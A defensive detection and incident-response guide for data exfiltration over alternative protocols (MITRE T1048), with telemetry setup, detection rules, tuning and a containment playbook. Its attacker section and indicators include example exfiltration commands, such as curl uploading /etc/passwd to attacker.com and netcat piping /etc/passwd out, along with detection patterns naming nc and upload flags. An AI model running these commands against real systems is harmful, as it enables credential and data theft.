Overview

Exfiltration Over Alternative Protocol (T1048) describes adversaries stealing data by sending it out through a network protocol that differs from their primary command-and-control channel — commonly DNS, FTP, SMTP, ICMP, or HTTPS to non-standard destinations. By switching protocols, attackers avoid detection tools tuned only to monitor their C2 channel and exploit the fact that many organizations allow broad egress traffic for business-critical protocols.

Every security team needs visibility into this technique because it is the final step where sensitive data leaves your environment permanently. A successful exfiltration event means the breach has already caused measurable harm — stolen intellectual property, credentials, customer records, or source code cannot be recalled. Early detection of unusual protocol usage or abnormal outbound data volumes is the last technical control standing between a containable intrusion and a reportable data breach.

Attacker Perspective

Attackers use T1048 specifically to bypass egress filtering and DLP controls that are tuned to their primary C2 protocol, moving stolen data out through a trusted or overlooked channel.

• DNS Tunneling: Tools like iodine, dnscat2, or DNSExfiltrator encode stolen data as base64 subdomains in DNS queries (e.g., aGVsbG8gd29ybGQ=.attacker-domain.com), abusing the fact that outbound UDP/53 is rarely blocked or deeply inspected.
• FTP/FTPS Exfiltration: Native OS utilities like ftp.exe on Windows or curl -T /etc/passwd ftp://attacker.com on Linux are used to push files to attacker-controlled servers, often blending into environments where FTP is legitimately used for file transfers.
• SMTP Email Exfiltration: Attackers use tools such as SendEmail or PowerShell’s Send-MailMessage cmdlet to email archives of stolen data to external addresses, exploiting allowed outbound port 25/587 connections.
• Cloud API and SaaS Exfiltration: Using compromised credentials or OAuth tokens, attackers invoke aws s3 cp, Microsoft Graph API calls, or direct SharePoint/GitHub downloads to pull entire data stores through legitimate HTTPS channels that blend with normal SaaS traffic.

This technique is attractive because it exploits the inherent trust organizations place in widely-used protocols, turning the network’s own permissive egress policies into an exfiltration highway that is difficult to distinguish from legitimate business traffic.

Detection Strategy

Required Telemetry

• Windows Process Creation (Event ID 4688): Enable via GPO — Computer Configuration → Windows Settings → Security Settings → Advanced Audit Policy → Detailed Tracking → Audit Process Creation → Success. Also enable command-line logging: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit → ProcessCreationIncludeCmdLine_Enabled = 1. Required to catch ftp.exe, curl.exe, certutil.exe, and PowerShell initiating outbound transfers.
• PowerShell Script Block Logging (Event ID 4104): Enable via GPO: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → EnableScriptBlockLogging = 1. Captures decoded PowerShell commands including Invoke-WebRequest, Send-MailMessage, and custom exfil scripts even when invoked with obfuscation.
• Windows PowerShell Module Logging (Event ID 4103): Enable via GPO: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging → EnableModuleLogging = 1. Catches pipeline execution details that Script Block Logging may miss.
• Sysmon Event ID 3 (Network Connection): Deploy Sysmon with a configuration that logs outbound network connections. This provides process-to-IP/domain mapping critical for correlating process activity with exfil destinations. Ensure NetworkConnect events are enabled in your Sysmon config for all non-system processes.
• DNS Query Logs: Enable DNS debug logging on Windows DNS servers (dnscmd /config /logLevel 0x8100) or collect via Sysmon Event ID 22 (DNS Query). On Linux, configure bind query logging or deploy Zeek’s dns.log. Required to detect DNS tunneling, high query volumes, and encoded subdomains.
• Network Flow Data (NetFlow/IPFIX or Zeek conn.log): Collect flow records from perimeter firewalls, core switches, or a network tap. Minimum fields required: src_ip, dst_ip, dst_port, protocol, bytes_out, duration, connection_count. Essential for detecting bulk data transfers and unusual protocol usage at scale.
• Proxy / Web Gateway Logs: Forward logs from your HTTP/S proxy (Zscaler, Squid, Blue Coat, etc.) to your SIEM. Required fields: src_ip, url, user_agent, bytes_sent, bytes_received, method, response_code. Needed to detect large HTTPS POST requests or uploads to untrusted destinations.
• Linux/macOS Audit Logs: On Linux, add auditd rules for network-initiating binaries: -a always,exit -F arch=b64 -S execve -F path=/usr/bin/curl -k exfil_curl and similar rules for ftp, scp, wget, nc. On macOS, use the Unified Log (log stream --predicate) or EDR telemetry to capture equivalent process and network events.
• Cloud API / SaaS Audit Logs: Enable AWS CloudTrail (all regions, all services), Azure Activity Log and Microsoft 365 Unified Audit Log, Google Workspace Admin Audit. Specifically ensure S3GetObject, GetSecretValue, ContentDownloaded (SharePoint), and GitHub repository clone/archive events are captured.
• EDR Telemetry: If available (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint), use EDR process trees and network event data as a higher-fidelity complement to SIEM log sources — EDR often catches encoded or renamed binaries that evade event-ID-only detection.

Key Indicators

• High-volume DNS queries to a single parent domain: In DNS logs (Zeek dns.log, Sysmon Event ID 22, or Windows DNS debug log), check field query or dns.question.name. Flag any single parent_domain receiving more than 500 unique subdomain queries within a 10-minute window. Legitimate resolvers rarely generate this volume for a single domain.
• Base64-encoded subdomains in DNS queries: In DNS logs, check query field for strings matching the pattern [A-Za-z0-9+/]{20,}={0,2}\. (long base64-like strings before a dot). The Sigma rule above specifically flags query contains '==.' as a high-confidence indicator of DNS exfiltration encoding.
• DNS lookups to Tor proxy domains: In DNS logs, check query field ending with values such as .onion.link, .onion.to, .tor2web.blutmagie.de, or any of the 30+ suffixes in the community Sigma rule above. Any hit here should be treated as high severity.
• Unusual use of FTP utilities by non-service processes: In process creation logs (Event ID 4688 or Sysmon Event ID 1), check Image (or process.name) for ftp.exe, winscp.exe, or sftp. Flag when ParentImage is cmd.exe, powershell.exe, bash, or any scripting engine, especially if run by a non-IT user account.
• curl/wget used for upload (PUT/POST) operations: In process logs, check CommandLine for patterns like curl -T, curl --upload-file, curl -X PUT, or wget --post-file. These flags indicate outbound file upload rather than normal download activity.
• certutil used for file encoding and transfer: In Event ID 4688 / Sysmon Event ID 1, check CommandLine for certutil -encode or certutil -urlcache -split -f. While primarily a LOLBin for payload download, certutil encoding is also used to prepare data for exfiltration.
• PowerShell network cmdlets with large data: In Event ID 4104 (Script Block Logging), check ScriptBlockText for Send-MailMessage, Invoke-WebRequest -Method POST, Invoke-RestMethod -Method PUT, or System.Net.WebClient.UploadFile. Cross-reference with Sysmon Event ID 3 DestinationIp and DestinationPort.
• Large outbound data volumes over non-HTTP protocols: In NetFlow or Zeek conn.log, check orig_bytes (bytes sent by internal host) exceeding 50MB in a single session for protocols on ports 21 (FTP), 25 (SMTP), 53 (DNS), or any non-standard high port. Correlate id.orig_h with known internal assets.
• Outbound SMTP from non-mail servers: In NetFlow or firewall logs, check for internal hosts (excluding your designated mail servers by IP) making outbound connections on dst_port = 25 or dst_port = 587. Any workstation or server initiating SMTP sessions is anomalous in most environments.
• Cloud API mass-download events: In AWS CloudTrail, check eventName = GetObject with high requestParameters.key counts from a single userIdentity.arn within a short window. In Microsoft 365 UAL, check Operation = FileDownloaded or MailItemsAccessed with volume exceeding baseline. In GitHub audit logs, check for repo.download_zip or API-based archive events.
• netcat (nc) used for data transfer: In process logs and auditd, check CommandLine / execve arguments for nc or ncat with outbound IP arguments and file redirection characters (nc 1.2.3.4 4444 < /etc/passwd). This is almost never legitimate in production environments.

Detection Logic

Rule 1: High-Volume DNS Queries Indicating DNS Tunneling
IF dns.question.name EXISTS AND count(DISTINCT dns.question.name) BY parent_domain, src_ip WITHIN 10 MINUTES > 500 AND parent_domain NOT IN [known_internal_domains, cdn_allowlist] THEN alert HIGH

This catches the brute-force subdomain encoding pattern used by tools like dnscat2 and iodine. Expected alert volume is low in mature environments (fewer than 5 per day) but will have false positives from CDN or analytics platforms — tune with an allowlist of known high-volume legitimate resolvers before deploying.

Rule 2: Tor Proxy or Onion Gateway DNS Lookup
IF dns.question.name ENDSWITH_ANY ['.onion.link', '.onion.to', '.tor2web.blutmagie.de', '.hiddenservice.net', '.onion.cab', '.onion.city', '.onion.direct', '.onion.pet', '.s1.tor-gateways.de', '.t2w.pw'] THEN alert CRITICAL

Any internal host resolving Tor proxy domains is attempting to reach the anonymized dark web, which has no legitimate business justification in most enterprise environments. Expect very low alert volume; treat every hit as high priority.

Rule 3: Suspicious File Transfer Utility Spawned by Scripting Engine
IF process.name IN ['ftp.exe', 'curl.exe', 'wget.exe', 'nc.exe', 'ncat.exe', 'sftp.exe'] AND parent_process.name IN ['powershell.exe', 'cmd.exe', 'bash', 'sh', 'python.exe', 'wscript.exe', 'cscript.exe'] AND process.command_line MATCHES_ANY ['-T ', '--upload-file', '-X PUT', '-X POST', ' -l ', '< /'] AND NOT (process.user IN [known_service_accounts] AND dst_ip IN [known_internal_transfer_servers]) THEN alert HIGH

This catches LOLBin-style exfiltration where scripting engines invoke native transfer utilities. False positive volume is moderate in developer environments; tune by excluding known CI/CD pipeline accounts and their destination IPs.

Rule 4: Large Outbound Data Transfer Over Unusual Protocol
IF flow.bytes_out > 52428800 AND flow.dst_port IN [21, 25, 53, 69, 161, 4444, 8080, 9001] AND flow.src_ip IN [internal_ip_ranges] AND flow.dst_ip NOT IN [approved_transfer_destinations] AND NOT flow.src_ip IN [known_backup_servers, mail_relay_servers] THEN alert MEDIUM

This rule catches bulk exfiltration over non-standard or suspicious destination ports. Set the byte threshold based on your environment's normal transfer baselines — 50MB is a reasonable starting point. Alert volume will be moderate until the allowlist of legitimate bulk-transfer sources is tuned in; plan for a two-week tuning period.

Tuning Guidance

• CDN and SaaS platforms generating high DNS volume: Services like Akamai, Cloudflare, Fastly, and Microsoft Azure generate thousands of unique subdomain queries. Build a dynamic allowlist by capturing the top 50 parent domains by query volume during normal business hours and comparing against threat intel before adding to the exclusion list. Exclude with parent_domain IN [cdn_allowlist].
• Backup and data replication software: Products like Veeam, Commvault, or Veritas generate large outbound data transfers on scheduled intervals. Exclude known backup server source IPs with src_ip IN [backup_server_ips] and confirm their destination IPs are internal or contracted storage providers.
• IT and developer tooling (curl, wget, FTP): Developers legitimately use curl and wget for package downloads, API testing, and deployment scripts. Reduce false positives by scoping the process-based rules to exclude known developer workstation pools or CI/CD pipeline service accounts: NOT (user IN [dev_service_accounts] AND dst_domain IN [approved_package_registries]).
• Mail servers and email relay services: Legitimate outbound SMTP from your authorized mail relay IPs will trip the SMTP detection rule. Maintain an allowlist of authorized mail server IPs and exclude them: NOT src_ip IN [authorized_mail_relays]. Any workstation or server not on this list making SMTP connections remains a valid alert.
• Cloud sync clients (OneDrive, Dropbox, Box): Sync clients generate frequent HTTPS uploads that can resemble exfiltration by volume. Tune by identifying the known destination IP ranges and user agents for your sanctioned cloud storage platforms and excluding them in proxy log rules. Flag only uploads to unsanctioned storage destinations using a CASB policy or URL category filter.
• Security scanning and vulnerability assessment tools: Internal scanners (Nessus, Qualys, Rapid7) may generate anomalous network flow patterns. Exclude by source IP: NOT src_ip IN [scanner_ips].

When the Alert Fires: Investigation Steps

1. Verify the alert is real by confirming the raw event in the source log. Pull the original DNS query record, NetFlow entry, or process creation event directly from the log source (Zeek dns.log, Windows Event Log, or your SIEM raw event view) and confirm the fields match the alert — rule logic errors and parsing failures can generate phantom alerts. Do not begin host-level actions until you have confirmed the raw event exists with the expected field values.
2. Identify the affected host and user account, and flag if either is privileged. Use the src_ip from the network alert or hostname from the process event to query your asset inventory and identify the owner, business unit, and role of the system. Cross-reference the user field against your privileged account list — exfiltration activity from an admin or service account significantly raises severity and widens the blast radius you need to investigate.
3. Pull the full command-line and parent process chain for the suspicious process. In Sysmon Event ID 1 or your EDR console, retrieve the CommandLine, ParentImage, ParentCommandLine, and ProcessGuid for the flagged process, then pivot up the process tree to the grandparent. Look for unusual ancestry — a legitimate curl.exe invoked by powershell.exe invoked by winword.exe is a clear indicator of malicious macro-driven exfiltration.
4. Check for network connections initiated by the process and files written to disk immediately before the transfer. Use Sysmon Event ID 3 (Network Connection) filtered by ProcessGuid to confirm the destination IP and port. Then review Sysmon Event ID 11 (File Create) and Event ID 15 (File Create Stream Hash) in the same 30-minute window to identify staged archive files (e.g., .zip, .tar.gz, .7z) that were assembled before exfiltration. Check file sizes to estimate the volume of data sent.
5. Determine what data was likely exfiltrated by examining file access events and staged archives. Use Sysmon Event ID 11 file creation records and Windows Security Event ID 4663 (Object Access — requires File System auditing enabled on sensitive directories) to identify what files were read or copied into the staging location. If the staging files have been deleted, check the Volume Shadow Copies using vssadmin list shadows or your EDR's file recovery capability to recover and analyze their contents.
6. Search for lateral movement originating from the compromised host in the 72 hours before the exfil alert. Query your SIEM for Windows Event ID 4624 (Logon Type 3 — Network) or Event ID 4648 (Explicit Credentials) with IpAddress matching the compromised host. Also check Sysmon Event ID 3 for connections to internal SMB (port 445) or RDP (port 3389) targets. Lateral movement suggests the attacker already has a broader foothold and the scope of affected systems needs to expand.
7. Make the escalation decision: confirmed incident or benign based on your findings. Escalate to a confirmed incident and invoke your IR process if you observe any of: a verified staging archive containing recognizable sensitive data, confirmed exfil destination resolving to a known malicious IP or Tor proxy, privileged account involvement, or evidence of lateral movement from the host. Treat as likely benign only if the process owner can provide a documented business justification, the destination is an approved internal server, and no staging files or unusual parent processes exist — document and close with that context recorded.

Response Playbook

Containment

• Isolate the affected host at the network level immediately, but leave it powered on for forensics. Use your EDR console (CrowdStrike Network Containment, SentinelOne Network Quarantine, or MDE Isolate Device) or apply an ACL on the switch port to block all network traffic except to your SIEM/EDR management infrastructure. Do not shut the machine down — live memory may contain decryption keys, active connections, or process artifacts that are lost on power-off.
• Block identified exfiltration destinations at the perimeter firewall and DNS layer. Create explicit deny rules for the destination IPs and FQDNs identified in the alert in your firewall management console. Simultaneously push a DNS sinkhole entry for any identified malicious domains so that other potentially compromised hosts attempting to reach the same destination will be caught. Document the IP, domain, and associated port in your incident ticket.
• Disable the affected user account in Active Directory or your IdP immediately. Use Disable-ADAccount -Identity [username] or the equivalent IdP console action. If the account has active sessions (SSO tokens, OAuth refresh tokens, AWS/Azure credentials), revoke them explicitly — disabling the AD account does not automatically invalidate federated tokens or cloud credentials that were already issued.
• Revoke cloud credentials and API keys associated with the account. In AWS, run aws iam delete-access-key --access-key-id [key_id] and revoke any active session tokens. In Azure, revoke all refresh tokens with Revoke-AzureADUserAllRefreshToken. In GitHub, revoke all personal access tokens and OAuth app authorizations for the account from the GitHub admin console.
• Kill the malicious process if it is still running. If your EDR confirms the exfil process is active, use the EDR's remote kill capability rather than a manual remote command to avoid alerting the attacker through an interactive session. Record the PID and full process details before terminating.

Eradication

• Identify and remove all persistence mechanisms associated with the attacker's access. Review Scheduled Tasks (Event ID 4698, schtasks /query /fo LIST /v), registry Run keys (HKCU\Software\Microsoft\Windows\CurrentVersion\Run, HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run), installed services (Event ID 7045), WMI subscriptions (Get-WMIObject -Namespace root\subscription -Class __EventFilter), and startup folders. Document each finding before removal.
• Search for and delete all dropped payloads, staging archives, and attacker tools. Use your EDR's file search capability or a manual search targeting the directories and filenames identified in Sysmon Event ID 11 records during the investigation. Pay particular attention to %TEMP%, %APPDATA%, C:\ProgramData, and any world-writable directories. Preserve copies to a forensic share before deletion for potential legal proceedings.
• Reset credentials for all accounts that executed or were associated with the malicious activity. This includes the directly affected user, any service accounts whose credentials may have been cached on the compromised host, and any accounts used in lateral movement. Force password reset at next logon is not sufficient — reset immediately and invalidate all active sessions.
• Audit all systems the compromised host connected to during the attack window for signs of additional backdoors. For each IP identified in the lateral movement investigation step, repeat the persistence mechanism audit above. An attacker who had time to stage and exfiltrate data likely had enough time to establish redundant footholds on adjacent systems.
• Rotate any secrets, API keys, or certificates that the compromised host or account had access to. Review your secrets management system (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault) for secrets that the compromised identity had read access to during the breach window and rotate all of them. Treat all secrets accessible to the account as fully compromised regardless of whether you can confirm they were accessed.

Recovery

• Re-image the affected host rather than attempting to clean it in place if confidence in completeness of eradication is less than certain. A clean OS image from a known-good baseline eliminates the risk of missed persistence. If re-imaging is not immediately possible, have your EDR perform a full scan with updated signatures and manually verify the absence of all identified IOCs before reconnecting to the network.
• Re-enable the user account only after confirming no persistence remains on any host the account touched and after completing a credential reset. Coordinate the account re-enablement with the user's manager and document the approval in the incident ticket. Require MFA re-enrollment if the exfiltration may have exposed authenticator secrets.
• Monitor the previously affected host, user account, and any lateral movement targets with elevated alerting thresholds for a minimum of 72 hours post-remediation. Create a temporary watchlist in your SIEM for the affected hostname, username, and source IP, and route any alerts involving these entities directly to a senior analyst for manual review during the monitoring window.
• Notify appropriate stakeholders and, if regulated data was involved, begin the breach notification assessment process. Engage your legal, compliance, and privacy teams with the documented timeline and estimated data volume from the investigation. Regulated data types (PII, PHI, PCI) have mandatory reporting timelines that may begin from the date of confirmed discovery.
• Document the full attack timeline, all IOCs, and the effectiveness of existing controls in a formal incident report, then feed new IOCs back into your detection stack. Add confirmed malicious IPs, domains, file hashes, and command-line patterns as custom threat indicators in your SIEM and EDR. Update detection rules with any evasion techniques observed (e.g., renamed binaries, novel encoding patterns) so the next variant is caught earlier in the kill chain.